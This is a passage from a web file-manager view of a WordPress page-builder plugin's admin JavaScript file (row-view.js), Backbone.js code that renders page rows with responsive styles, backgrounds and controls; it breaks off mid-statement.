File manager - Edit - /home/adiance/public_html/wp-content/plugins/page-builder-add/admin/scripts/row-view.js
Back
(function ($) { pageBuilderApp.prevStateOption = false; pageBuilderApp.prevClickedOnSafeModeBtn = false; pageBuilderApp.isInlineSavingActive = false; const setUpdatedOptsObject = (obj, path, val) => { const keys = path.split("."); const lastKey = keys.pop(); const lastObj = keys.reduce((obj, key) => (obj[key] = obj[key] || {}), obj); pageBuilderApp.prevStateOption = _.clone(lastObj[lastKey]); lastObj[lastKey] = val; }; function mergeNonsetObjectKeys(source, target) { Object.keys(target).forEach(function (k) { if (typeof source[k] === "undefined") { source[k] = target[k]; } else { if (typeof target[k] == "object") { Object.keys(target[k]).forEach(function (k2) { if (typeof source[k][k2] === "undefined") { source[k][k2] = target[k][k2]; } else { if (typeof target[k][k2] == "object") { Object.keys(target[k][k2]).forEach(function (k3) { if (typeof source[k][k2][k3] === "undefined") { source[k][k2][k3] = target[k][k2][k3]; } }); } } }); } } }); } function POPB_strip(html) { html = html.replace(/<br>/g, "$br$"); html = html.replace(/<div>/g, "$br$"); html = html.replace(/(?:\r\n|\r|\n)/g, "$br$"); var tmp = document.createElement("DIV"); tmp.innerHTML = html; html = tmp.textContent || tmp.innerText; html = html.replace(/\$br\$/g, "<br>"); return html; } var WidgetDraggedAttr = ""; var isRenderDropLoop = false; var checkIEUL = false; pageBuilderApp.RowView = Backbone.View.extend({ tagName: "section", className: "row", template: _.template($("#item-template").html()), events: { "click #rowDelete": "deleteRow", "click #rowEdit": "EditRow", "click #rowDuplicate": "DuplicateRow", "click #editRowSave": "updateRow", "click #setGlobalRow": "setGlobalRow", "click #copySectionOps": "copySectionOps", "click #pasteSectionOps": "pasteSectionOps", "click #WidthSave": "updateWidth", "click #RowHeightSave": "updateRowHeight", "click #copyThisRowLS": "copyThisRowLS", "click #pasteThisRowLS": "pasteThisRowLS", "click div.editColumn": "EditColumn", "click #copyColumnOps": "copyColumnOps", "click #pasteColumnOps": "pasteColumnOps", "click #flipColumns": "flipColumns", "click #duplicateColumns": "duplicateColumns", "click #reAddDeletedColumns": "reAddDeletedColumns", "click #deleteColumns": "deleteColumns", "click #editColumnSave": "updateColumn", "click #editColumnSaveWidget": "updateColumnWidgetTrigger", "click .draggableWidgets": "widgetDrag", "click .wdgt-dropped": "widgetDropped", "click .wdgt-colChange": "widgetColChange", "click .wdgt-dragRemove": "widgetDragRemove", "click .widgetDeleteHandle": "deleteWidget", "click .widgetDuplicateHandle": "duplicateWidget", "click .widgetEditHandle": "editWidget", "click .widgetCopyHandle": "copyWidgetOps", "click .widgetPasteHandle": "pasteWidgetOps", "click .po_widgets": "editWidgetTrigger", "click .addNewRow": "addNewRow", "click .addNewGlobalRow": "addNewGlobalRow", "click .addNewRowBlock": "addNewRowBlock", "click .setColbtn": "setColumnsOfThisModel", "click .inlineEditingSaveTrigger": "widgetInlineEditorSave", "click .thisColumnWidgetsTabTrigger": "loadWidgetsInColumn", }, attributes: function () { if (this.model) { return { RowID: this.model.get("rowID"), }; } return {}; }, initialize: function () { _.bindAll( this, "render", "deleteRow", "updateRow", "EditRow", "EditColumn", "copyColumnOps", "pasteColumnOps", "flipColumns", "duplicateColumns", "reAddDeletedColumns", "deleteColumns", "updateColumn", "updateWidth", "DuplicateRow", "widgetDrag", "widgetDropped", "widgetColChange", "setGlobalRow", "copySectionOps", "pasteSectionOps", "addNewRow", "addNewGlobalRow", "addNewRowBlock", "setColumnsOfThisModel", "widgetInlineEditorSave", "updateRowHeight", "copyThisRowLS", "pasteThisRowLS", "updateColumnWidgetTrigger", "copyWidgetOps", "pasteWidgetOps", "loadWidgetsInColumn", "deleteWidget" ); }, render: function () { this.$el.html(this.template(this.model.toJSON())); var rowCID = this.model.cid; if (thisPostType == "ulpb_global_rows") { $(".newRowBtnContainerVisible").remove(); } else { var ifIsGlobal = this.model.get("globalRow"); if (typeof ifIsGlobal != "undefined") { if (ifIsGlobal["isGlobalRow"] == true) { getGlobalRowDataFromDb(ifIsGlobal["globalRowPid"]); retrievedGlobalRowAttributes = $( ".globalRowRetrievedAttributes" ).val(); if (retrievedGlobalRowAttributes != "") { this.model.set(JSON.parse(retrievedGlobalRowAttributes)); } rowHeight = this.model.get("rowHeight"); rowHeightUnit = this.model.get("rowHeightUnit"); if (typeof rowHeightUnit == "undefined" || rowHeightUnit == "") { rowHeightUnit = "px"; } else { rowHeightUnit = this.model.get("rowHeightUnit"); } $('li[data-model-cid="' + rowCID + '"] section').append( '<div class="globalRowOverlay" style=" position:absolute; height:100%; z-index:9; width: 100%; left: 0px; right: 0px; "> <br><br><br> ' + '<h3 style="color:#fff;"> This is a Global Row </h3> <br> <a href="' + admURL + "/post.php?post=" + ifIsGlobal["globalRowPid"] + '&action=edit" target="_blank" >You can edit it here </a> ' + "</div>" ); $('li[data-model-cid="' + rowCID + '"]').mouseenter(function () { $( 'li[data-model-cid="' + rowCID + '"] section .globalRowOverlay' ).css("display", "block"); }); $('li[data-model-cid="' + rowCID + '"]').mouseleave(function () { $( 'li[data-model-cid="' + rowCID + '"] section .globalRowOverlay' ).css("display", "none"); }); } } } var rowID = this.model.get("rowID"); var rowCID = this.model.cid; rowColumns = this.model.get("columns"); rowHeight = this.model.get("rowHeight"); rowHeightUnit = this.model.get("rowHeightUnit"); var rowData = this.model.get("rowData"); var row_bg_img = rowData["bg_img"]; var row_bg_color = rowData["bg_color"]; var row_margin = rowData["margin"]; var row_padding = rowData["padding"]; var custom_styling = rowData["customStyling"]; var custom_JS = rowData["customJS"]; var thisModelDataAttr = _.clone(this.model.attributes); var defaultModelDataAttr = JSON.stringify( _.clone(pageBuilderApp.rowModelDefaultOps) ); defaultModelDataAttr = JSON.parse(defaultModelDataAttr); mergeNonsetObjectKeys( thisModelDataAttr["rowData"], defaultModelDataAttr["rowData"] ); rowData = thisModelDataAttr["rowData"]; if (typeof this.model.get("column0") != "undefined") { delete this.model.attributes.column0; } if (typeof rowHeightUnit == "undefined" || rowHeightUnit == "") { rowHeightUnit = "px"; } else { rowHeightUnit = this.model.get("rowHeightUnit"); } var rowHideOnDesktop = "'display':'block'", rowHideOnTablet = "'display':'block'", rowHideOnMobile = "'display':'block'"; if (typeof rowData["rowHideOnDesktop"] !== "undefined") { if (rowData["rowHideOnDesktop"] == "hide") { rowHideOnDesktop = "display:'none' ,"; } if (rowData["rowHideOnTablet"] == "hide") { rowHideOnTablet = "display:'none' ,"; } if (rowData["rowHideOnMobile"] == "hide") { rowHideOnMobile = "display:'none' ,"; } } var currRowDefaultMarginPadding = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-l') ) { " + " jQuery('#" + rowID + "').css({'margin-top':'" + row_margin["rowMarginTop"] + "%', 'margin-bottom':'" + row_margin["rowMarginBottom"] + "%', 'margin-left':'" + row_margin["rowMarginLeft"] + "%', 'margin-right':'" + row_margin["rowMarginRight"] + "%', });" + " jQuery('#" + rowID + "').css({'padding-top':'" + row_padding["rowPaddingTop"] + "%', 'padding-bottom':'" + row_padding["rowPaddingBottom"] + "%', 'padding-left':'" + row_padding["rowPaddingLeft"] + "%', 'padding-right':'" + row_padding["rowPaddingRight"] + "%', " + rowHideOnDesktop + " });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-l' ) { " + " jQuery('#" + rowID + "').css({'margin-top':'" + row_margin["rowMarginTop"] + "%', 'margin-bottom':'" + row_margin["rowMarginBottom"] + "%', 'margin-left':'" + row_margin["rowMarginLeft"] + "%', 'margin-right':'" + row_margin["rowMarginRight"] + "%', });" + " jQuery('#" + rowID + "').css({'padding-top':'" + row_padding["rowPaddingTop"] + "%', 'padding-bottom':'" + row_padding["rowPaddingBottom"] + "%', 'padding-left':'" + row_padding["rowPaddingLeft"] + "%', 'padding-right':'" + row_padding["rowPaddingRight"] + "%', " + rowHideOnDesktop + " });" + "}" + " " + "</script> "; if (typeof rowData["rowCustomClass"] !== "undefined") { $('li[data-model-cid="' + rowCID + '"] section').addClass( rowData["rowCustomClass"] ); } if (typeof this.model.get("rowHeightTablet") !== "undefined") { rowHeightTablet = this.model.get("rowHeightTablet"); rowHeightUnitTablet = this.model.get("rowHeightUnitTablet"); rowHeightMobile = this.model.get("rowHeightMobile"); rowHeightUnitMobile = this.model.get("rowHeightUnitMobile"); } else { rowHeightTablet = ""; rowHeightUnitTablet = ""; rowHeightMobile = ""; rowHeightUnitMobile = ""; } var currRowMarginTablet = ""; var currRowMarginMobile = ""; var currRowMarginMobile = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-s') || jQuery(this).hasClass('rbt-m') ) { " + " jQuery('#" + rowID + "').css({'margin':'0 auto', });" + " jQuery('#" + rowID + "').css({'padding':'10px 0', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' || currentVPS == 'rbt-m' ) { " + " jQuery('#" + rowID + "').css({'margin':'0 auto', });" + " jQuery('#" + rowID + "').css({'padding':'10px 0', });" + "}" + " " + "</script> "; if (typeof rowData["marginTablet"] !== "undefined") { rowMarginTablet = rowData["marginTablet"]; rowPaddingTablet = rowData["paddingTablet"]; if (rowMarginTablet["rMTT"] == "") { rowMarginTablet["rMTT"] = "0"; } if (rowMarginTablet["rMBT"] == "") { rowMarginTablet["rMBT"] = "0"; } if (rowMarginTablet["rMLT"] == "") { rowMarginTablet["rMLT"] = "0"; } if (rowMarginTablet["rMRT"] == "") { rowMarginTablet["rMRT"] = "0"; } if (rowPaddingTablet["rPTT"] == "") { rowPaddingTablet["rPTT"] = "1.5"; } if (rowPaddingTablet["rPBT"] == "") { rowPaddingTablet["rPBT"] = "1.5"; } if (rowPaddingTablet["rPLT"] == "") { rowPaddingTablet["rPLT"] = "1.5"; } if (rowPaddingTablet["rPRT"] == "") { rowPaddingTablet["rPRT"] = "1.5"; } var currRowMarginTablet = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-m') ) { " + " jQuery('#" + rowID + "').css({'margin-top':'" + rowMarginTablet["rMTT"] + "%', 'margin-bottom':'" + rowMarginTablet["rMBT"] + "%', 'margin-left':'" + rowMarginTablet["rMLT"] + "%', 'margin-right':'" + rowMarginTablet["rMRT"] + "%', " + rowHideOnTablet + " });" + " jQuery('#" + rowID + "').css({'padding-top':'" + rowPaddingTablet["rPTT"] + "%', 'padding-bottom':'" + rowPaddingTablet["rPBT"] + "%', 'padding-left':'" + rowPaddingTablet["rPLT"] + "%', 'padding-right':'" + rowPaddingTablet["rPRT"] + "%', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-m' ) { " + " jQuery('#" + rowID + "').css({'margin-top':'" + rowMarginTablet["rMTT"] + "%', 'margin-bottom':'" + rowMarginTablet["rMBT"] + "%', 'margin-left':'" + rowMarginTablet["rMLT"] + "%', 'margin-right':'" + rowMarginTablet["rMRT"] + "%', " + rowHideOnTablet + " });" + " jQuery('#" + rowID + "').css({'padding-top':'" + rowPaddingTablet["rPTT"] + "%', 'padding-bottom':'" + rowPaddingTablet["rPBT"] + "%', 'padding-left':'" + rowPaddingTablet["rPLT"] + "%', 'padding-right':'" + rowPaddingTablet["rPRT"] + "%', });" + "}" + " " + "</script> "; } if (typeof rowData["marginMobile"] !== "undefined") { rowMarginMobile = rowData["marginMobile"]; rowPaddingMobile = rowData["paddingMobile"]; if (rowMarginMobile["rMTM"] == "") { rowMarginMobile["rMTM"] = "0"; } if (rowMarginMobile["rMBM"] == "") { rowMarginMobile["rMBM"] = "0"; } if (rowMarginMobile["rMLM"] == "") { rowMarginMobile["rMLM"] = "0"; } if (rowMarginMobile["rMRM"] == "") { rowMarginMobile["rMRM"] = "0"; } if (rowPaddingMobile["rPTM"] == "") { rowPaddingMobile["rPTM"] = "1.5"; } if (rowPaddingMobile["rPBM"] == "") { rowPaddingMobile["rPBM"] = "1.5"; } if (rowPaddingMobile["rPLM"] == "") { rowPaddingMobile["rPLM"] = "1.5"; } if (rowPaddingMobile["rPRM"] == "") { rowPaddingMobile["rPRM"] = "1.5"; } var currRowMarginMobile = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + " if (jQuery(this).hasClass('rbt-s') ) { " + " jQuery('#" + rowID + "').css({'margin-top':'" + rowMarginMobile["rMTM"] + "%', 'margin-bottom':'" + rowMarginMobile["rMBM"] + "%', 'margin-left':'" + rowMarginMobile["rMLM"] + "%', 'margin-right':'" + rowMarginMobile["rMRM"] + "%', " + rowHideOnMobile + " });" + " jQuery('#" + rowID + "').css({'padding-top':'" + rowPaddingMobile["rPTM"] + "%', 'padding-bottom':'" + rowPaddingMobile["rPBM"] + "%', 'padding-left':'" + rowPaddingMobile["rPLM"] + "%', 'padding-right':'" + rowPaddingMobile["rPRM"] + "%', });" + " }" + "});" + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' ) { " + " jQuery('#" + rowID + "').css({'margin-top':'" + rowMarginMobile["rMTM"] + "%', 'margin-bottom':'" + rowMarginMobile["rMBM"] + "%', 'margin-left':'" + rowMarginMobile["rMLM"] + "%', 'margin-right':'" + rowMarginMobile["rMRM"] + "%', " + rowHideOnMobile + " });" + " jQuery('#" + rowID + "').css({'padding-top':'" + rowPaddingMobile["rPTM"] + "%', 'padding-bottom':'" + rowPaddingMobile["rPBM"] + "%', 'padding-left':'" + rowPaddingMobile["rPLM"] + "%', 'padding-right':'" + rowPaddingMobile["rPRM"] + "%', });" + "}" + " " + "</script> "; } var currentRowResponsiveTriggerScripts = "\n" + currRowMarginTablet + "\n" + currRowMarginMobile + "\n" + currRowDefaultMarginPadding; var currRowPadding = "padding:" + row_padding["rowPaddingTop"] + "% " + row_padding["rowPaddingRight"] + "% " + row_padding["rowPaddingBottom"] + "% " + row_padding["rowPaddingLeft"] + "%; "; var currRowMargins = "margin:" + row_margin["rowMarginTop"] + "% " + row_margin["rowMarginRight"] + "% " + row_margin["rowMarginBottom"] + "% " + row_margin["rowMarginLeft"] + "%; "; var rowBackgroundOptions = "background-color:" + row_bg_color + ";"; rowBackgroundParallax = ""; if (typeof rowData["rowBackgroundParallax"] !== "undefined") { if (rowData["rowBackgroundParallax"] == "true") { rowBackgroundParallax = "background-attachment:fixed;"; } } if (row_bg_img != "") { rowBackgroundOptions = "background-image: url(" + row_bg_img + "); background-repeat:no-repeat; background-position: center center; background-size: cover; background-color:" + row_bg_color + ";"; } var defaultRowBackgroundType = "solid"; if (typeof rowData["rowBackgroundType"] !== "undefined") { defaultRowBackgroundType = rowData["rowBackgroundType"]; if (rowData["rowBackgroundType"] == "gradient") { var rowGradient = rowData["rowGradient"]; if (rowGradient["rowGradientType"] == "linear") { rowBackgroundOptions = "background: linear-gradient(" + rowGradient["rowGradientAngle"] + "deg, " + rowGradient["rowGradientColorFirst"] + " " + rowGradient["rowGradientLocationFirst"] + "%," + rowGradient["rowGradientColorSecond"] + " " + rowGradient["rowGradientLocationSecond"] + "%);"; } if (rowGradient["rowGradientType"] == "radial") { rowBackgroundOptions = "background: radial-gradient(at " + rowGradient["rowGradientPosition"] + ", " + rowGradient["rowGradientColorFirst"] + " " + rowGradient["rowGradientLocationFirst"] + "%," + rowGradient["rowGradientColorSecond"] + " " + rowGradient["rowGradientLocationSecond"] + "%);"; } } } var thisRowHoverStyleTag = ""; var thisRowHoverOption = ""; if (typeof rowData["rowHoverOptions"] !== "undefined") { var rowHoverOptions = rowData["rowHoverOptions"]; if (rowHoverOptions["rowBackgroundTypeHover"] == "solid") { var thisRowHoverOption = " #" + rowID + ":hover { background:" + rowHoverOptions["rowBgColorHover"] + " !important; transition: all " + rowHoverOptions["rowHoverTransitionDuration"] + "s; }"; } if (rowHoverOptions["rowBackgroundTypeHover"] == "gradient") { var rowGradientHover = rowHoverOptions["rowGradientHover"]; if (rowGradientHover["rowGradientTypeHover"] == "linear") { thisRowHoverOption = " #" + rowID + ":hover { background: linear-gradient(" + rowGradientHover["rowGradientAngleHover"] + "deg, " + rowGradientHover["rowGradientColorFirstHover"] + " " + rowGradientHover["rowGradientLocationFirstHover"] + "%," + rowGradientHover["rowGradientColorSecondHover"] + " " + rowGradientHover["rowGradientLocationSecondHover"] + "%) !important; transition: all " + rowHoverOptions["rowHoverTransitionDuration"] + "s; }"; } if (rowGradientHover["rowGradientTypeHover"] == "radial") { thisRowHoverOption = " #" + rowID + ":hover { background: radial-gradient(at " + rowGradientHover["rowGradientPositionHover"] + ", " + rowGradientHover["rowGradientColorFirstHover"] + " " + rowGradientHover["rowGradientLocationFirstHover"] + "%," + rowGradientHover["rowGradientColorSecondHover"] + " " + rowGradientHover["rowGradientLocationSecondHover"] + "%) !important; transition: all " + rowHoverOptions["rowHoverTransitionDuration"] + "s; }"; } } thisRowHoverStyleTag = "<style> " + thisRowHoverOption + " </style>"; } rowOverlayBackgroundOptions = ""; if (typeof rowData["rowBgOverlayColor"] !== "undefined") { var rowOverlayBackgroundOptions = "background:" + rowData["rowBgOverlayColor"] + "; background-color:" + rowData["rowBgOverlayColor"] + ";"; } if (typeof rowData["rowOverlayBackgroundType"] !== "undefined") { if (rowData["rowOverlayBackgroundType"] == "gradient") { var rowOverlayGradient = rowData["rowOverlayGradient"]; if (rowOverlayGradient["rowOverlayGradientType"] == "linear") { rowOverlayBackgroundOptions = "background: linear-gradient(" + rowOverlayGradient["rowOverlayGradientAngle"] + "deg, " + rowOverlayGradient["rowOverlayGradientColorFirst"] + " " + rowOverlayGradient["rowOverlayGradientLocationFirst"] + "%," + rowOverlayGradient["rowOverlayGradientColorSecond"] + " " + rowOverlayGradient["rowOverlayGradientLocationSecond"] + "%);"; } if (rowOverlayGradient["rowOverlayGradientType"] == "radial") { rowOverlayBackgroundOptions = "background: radial-gradient(at " + rowOverlayGradient["rowOverlayGradientPosition"] + ", " + rowOverlayGradient["rowOverlayGradientColorFirst"] + " " + rowOverlayGradient["rowOverlayGradientLocationFirst"] + "%," + rowOverlayGradient["rowOverlayGradientColorSecond"] + " " + rowOverlayGradient["rowOverlayGradientLocationSecond"] + "%);"; } } } $(this.el).attr( "style", "height:auto; overflow:visible; " + rowBackgroundOptions + " " + rowBackgroundParallax + " " + currRowMargins + " " + currRowPadding + custom_styling ); $(this.el).attr("id", rowID); var rennderredShapeTopScripts = ""; if (typeof rowData["bgSTop"] != "undefined") { var bgSTop = rowData["bgSTop"]; var shapeType = bgSTop["rbgstType"]; var rennderredShapeTop = bgshapessvgrender( rowID, shapeType, false, bgSTop, "false" ); jQuery(this.el).append(rennderredShapeTop["html"]); rennderredShapeTopScripts = rennderredShapeTop["scripts"]; } var rennderredShapeBottomScripts = ""; if (typeof rowData["bgSBottom"] != "undefined") { var bgSBottom = rowData["bgSBottom"]; var shapeType = bgSBottom["rbgsbType"]; bgSTop = "false"; var rennderredShapeBottom = bgshapessvgrender( rowID, shapeType, true, "false", bgSBottom ); jQuery(this.el).append(rennderredShapeBottom["html"]); rennderredShapeBottomScripts = rennderredShapeBottom["scripts"]; } var VideoBgHtml = ""; var VideoBgStyling = ""; if (typeof rowData["video"] != "undefined") { var rowVideo = rowData["video"]; if (typeof rowVideo["rowBgVideoEnable"] == "undefined") { rowVideo["rowBgVideoEnable"] = ""; } rowBgVideoEnable = rowVideo["rowBgVideoEnable"]; if (rowBgVideoEnable == "true") { rowBgVideoLoop = rowVideo["rowBgVideoLoop"]; rowVideoMpfour = rowVideo["rowVideoMpfour"]; rowVideoWebM = rowVideo["rowVideoWebM"]; rowVideoThumb = rowVideo["rowVideoThumb"]; rowVideoID = "bgVid-" + rowID; var VideoBgHtml = '<video class="rowBgVideo" poster="' + rowVideoThumb + '" id="' + rowVideoID + '" playsinline autoplay muted ' + rowBgVideoLoop + ' > <source src="' + rowVideoWebM + '" type="video/webm"> <source src="' + rowVideoMpfour + '" type="video/mp4"> </video>'; var ifVideoMp4RowStyles = "#" + rowID + " {overflow:hidden !important; position:relative; }"; if (typeof rowVideo["rowVideoType"] != "undefined") { if (rowVideo["rowVideoType"] == "yt") { ytvidId = ytVidURLParser(rowVideo["rowVideoYtUrl"]); var VideoBgHtml = '<iframe id="' + rowVideoID + '" width="100%" height="100%" src="https://www.youtube.com/embed/' + ytvidId + "?rel=0&controls=0&showinfo=0;mute=1;autoplay=1&loop=1&playlist=" + ytvidId + '" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen ></iframe>'; ifVideoMp4RowStyles = ""; } } var VideoBgStyling = '<div class="rowBgVidStyles"> <style type="text/css">#' + rowVideoID + ' { position: absolute; min-width: 100%; min-height: 100%;background: url("' + rowVideoThumb + '") no-repeat;background-size: cover;transition: 1s opacity; left:0; right:0; top: 0; } ' + ifVideoMp4RowStyles + " </style> </div>"; $(this.el).prepend(VideoBgHtml + VideoBgStyling); } } //New extra BG Options for Row currRowDefaultBackgroundOps = ""; currRowtabletBackgroundOps = ""; currRowmobileBackgroundOps = ""; if (defaultRowBackgroundType == "solid") { if (typeof rowData["bgImgOps"] != "undefined") { drbgImgOps = rowData["bgImgOps"]; defaultRowBgImg = rowData["bg_img"]; if (typeof rowData["bg_imgT"] == "undefined") { rowData["bg_imgT"] = ""; rowData["bg_imgM"] = ""; } tabletRowBgImg = rowData["bg_imgT"]; mobileRowBgImg = rowData["bg_imgM"]; if (tabletRowBgImg == "") { tabletRowBgImg = defaultRowBgImg; } if (mobileRowBgImg == "") { mobileRowBgImg = tabletRowBgImg; } defaultRowBgFixed = "scroll"; if (rowData["rowBackgroundParallax"] == "true") { defaultRowBgFixed = "fixed"; } tabletRowBgFixed = defaultRowBgFixed; mobileRowBgFixed = defaultRowBgFixed; if (typeof drbgImgOps["parlxT"] == "undefined") { drbgImgOps["parlxT"] = ""; drbgImgOps["parlxM"] = ""; } if (drbgImgOps["parlxT"] == "true") { tabletRowBgFixed = "fixed"; } if (drbgImgOps["parlxT"] == "false") { tabletRowBgFixed = "scroll"; } if (drbgImgOps["parlxM"] == "true") { mobileRowBgFixed = "fixed"; } if (drbgImgOps["parlxM"] == "false") { mobileRowBgFixed = "scroll"; } drbgImgOpsRep = drbgImgOps["rep"]; drbgImgOpsRepT = drbgImgOps["repT"]; drbgImgOpsRepM = drbgImgOps["repM"]; // desktop if (drbgImgOps["pos"] == "custom") { defaultBgImgPos = "'background-position-x': '" + drbgImgOps["xPos"] + drbgImgOps["xPosU"] + "', " + "'background-position-y': '" + drbgImgOps["yPos"] + drbgImgOps["yPosU"] + "', "; } else { defaultBgImgPos = "'background-position': '" + drbgImgOps["pos"] + "', "; } if (drbgImgOpsRep == "" || drbgImgOpsRep == "default") { drbgImgOpsRep = "no-repeat"; } if (drbgImgOps["size"] == "custom") { defaultBgImgSize = "'background-size': '" + drbgImgOps["cWid"] + drbgImgOps["widU"] + "', "; } else { defaultBgImgSize = "'background-size': '" + drbgImgOps["size"] + "', "; } var currRowDefaultBackgroundOps = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-l') ) { " + "jQuery('#" + rowID + "').css({ " + "'background-image': 'url(" + defaultRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRep + "', " + "'background-attachment': '" + defaultRowBgFixed + "', " + defaultBgImgPos + defaultBgImgSize + "});" + "}" + "});" + " " + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-l' ) { " + "jQuery('#" + rowID + "').css({ " + "'background-image': 'url(" + defaultRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRep + "', " + "'background-attachment': '" + defaultRowBgFixed + "', " + defaultBgImgPos + defaultBgImgSize + "});" + "}" + " " + "</script>"; // Tablet if (drbgImgOps["posT"] == "custom") { tabletBgImgPos = "'background-position-x': '" + drbgImgOps["xPosT"] + drbgImgOps["xPosUT"] + "', " + "'background-position-y': '" + drbgImgOps["yPosT"] + drbgImgOps["yPosUT"] + "', "; } else if (drbgImgOps["posT"] == "") { tabletBgImgPos = defaultBgImgPos; } else { tabletBgImgPos = "'background-position': '" + drbgImgOps["posT"] + "', "; } if (drbgImgOpsRepT == "" || drbgImgOpsRepT == "default") { drbgImgOpsRepT = drbgImgOpsRep; } if (drbgImgOps["sizeT"] == "custom") { tabletBgImgSize = "'background-size': '" + drbgImgOps["cWidT"] + drbgImgOps["widUT"] + "', "; } else if (drbgImgOps["sizeT"] == "") { tabletBgImgSize = defaultBgImgSize; } else { tabletBgImgSize = "'background-size': '" + drbgImgOps["sizeT"] + "', "; } var currRowtabletBackgroundOps = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-m') ) { " + "jQuery('#" + rowID + "').css({ " + "'background-image': 'url(" + tabletRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepT + "', " + "'background-attachment': '" + tabletRowBgFixed + "', " + tabletBgImgPos + tabletBgImgSize + "});" + "}" + "});" + " " + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-m' ) { " + "jQuery('#" + rowID + "').css({ " + "'background-image': 'url(" + tabletRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepT + "', " + "'background-attachment': '" + tabletRowBgFixed + "', " + tabletBgImgPos + tabletBgImgSize + "});" + "}" + " " + "</script>"; // mobile if (drbgImgOps["posM"] == "custom") { mobileBgImgPos = "'background-position-x': '" + drbgImgOps["xPosM"] + drbgImgOps["xPosUM"] + "', " + "'background-position-y': '" + drbgImgOps["yPosM"] + drbgImgOps["yPosUM"] + "', "; } else if (drbgImgOps["posM"] == "") { mobileBgImgPos = tabletBgImgPos; } else { mobileBgImgPos = "'background-position': '" + drbgImgOps["posM"] + "', "; } if (drbgImgOpsRepM == "" || drbgImgOpsRepM == "default") { drbgImgOpsRepM = drbgImgOpsRepT; } if (drbgImgOps["sizeM"] == "custom") { mobileBgImgSize = "'background-size': '" + drbgImgOps["cWidM"] + drbgImgOps["widUM"] + "', "; } else if (drbgImgOps["sizeM"] == "") { mobileBgImgSize = tabletBgImgSize; } else { mobileBgImgSize = "'background-size': '" + drbgImgOps["sizeM"] + "', "; } var currRowmobileBackgroundOps = "" + "<script>" + "jQuery('.responsiveBtn').on('click',function(){" + "if (jQuery(this).hasClass('rbt-s') ) { " + "jQuery('#" + rowID + "').css({ " + "'background-image': 'url(" + mobileRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepM + "', " + "'background-attachment': '" + mobileRowBgFixed + "', " + mobileBgImgPos + mobileBgImgSize + "});" + "}" + "});" + " " + "var currentVPS = jQuery('.currentViewPortSize').val();" + "if ( currentVPS == 'rbt-s' ) { " + "jQuery('#" + rowID + "').css({ " + "'background-image': 'url(" + mobileRowBgImg + ")', " + "'background-repeat': '" + drbgImgOpsRepM + "', " + "'background-attachment': '" + mobileRowBgFixed + "', " + mobileBgImgPos + mobileBgImgSize + "});" + "}" + " " + "</script>"; } } rowBgResScripts = currRowDefaultBackgroundOps + currRowtabletBackgroundOps + currRowmobileBackgroundOps; $(this.el).append( ' <div class="row-overlay" style="height:100%; ' + rowOverlayBackgroundOptions + ' top:0; left: 0; width: 100%; position:absolute;"></div>' ); $(this.el).append( '<div id="ulpb_row_controls" class="ulpb_row_controls" style="display:none;">' + '<div id="edit_form_close" class="btn-red btn" style="display:none;"><span class="dashicons dashicons-no-alt"></span></div>' + '<div id="editRowSave" style="display:none;"><span style="padding: 25px 0px 25px 0px;background: transparent;border-radius: 5px;display:unset;font-size: 35px;color: #585858;border-top-left-radius: 0;border-bottom-left-radius: 0;" class="dashicons dashicons-arrow-left"></span> </div>' + '<div id="editRowSaveVisible" class=""><span class="dashicons dashicons-arrow-left editSaveVisibleIcon"></span> </div>' + '<div id="reAddDeletedColumns" style="display:none;" ></div>' + '<div id="copyThisRowLS" style="display:none;" ></div>' + '<div id="pasteThisRowLS" style="display:none;" ></div>' + "</div>" ); $(this.el).append( '<div id="thisRowScripts" style="display:none !important;">' + currentRowResponsiveTriggerScripts + rowBgResScripts + rennderredShapeTopScripts + rennderredShapeBottomScripts + thisRowHoverStyleTag + "</div>" ); columnContainerSetWidth = "max-width:100%;"; if (typeof rowData["conType"] != "undefined") { if (rowData["conType"] == "boxed") { if (rowData["conWidth"] != "") { columnContainerSetWidth = "max-width:" + rowData["conWidth"] + "px;"; } } } $(this.el).append( '<div class="rowColumnsContainer" id="rowColCont-' + rowID + '" style=' + columnContainerSetWidth + "></div>" ); colControlsArray = []; for (var i = 1; i <= rowColumns; i++) { var this_column = "column" + i; var thisColumnModelData = this.model.get(this_column); if (typeof thisColumnModelData == "undefined") { continue; } var thisModelDataAttr = thisColumnModelData["columnOptions"]; if (typeof thisModelDataAttr["colBorder"] !== "undefined") { colBorder = thisModelDataAttr["colBorder"]; if (typeof colBorder["bwt"] == "undefined") { colBorder["bwt"] = colBorder["colBorderWidth"]; colBorder["bwb"] = colBorder["colBorderWidth"]; colBorder["bwl"] = colBorder["colBorderWidth"]; colBorder["bwr"] = colBorder["colBorderWidth"]; } if (typeof colBorder["brt"] == "undefined") { colBorder["brt"] = colBorder["colBorderRadius"]; colBorder["brb"] = colBorder["colBorderRadius"]; colBorder["brl"] = colBorder["colBorderRadius"]; colBorder["brr"] = colBorder["colBorderRadius"]; } } var thisModelDefaultColOps = JSON.stringify( _.clone(pageBuilderApp.thisModelDefaultColOps) ); thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps); mergeNonsetObjectKeys( thisModelDataAttr, thisModelDefaultColOps.columnOptions ); var this_column_options = thisColumnModelData["columnOptions"]; var this_column_bg_color = this_column_options["bg_color"]; var this_column_margin = 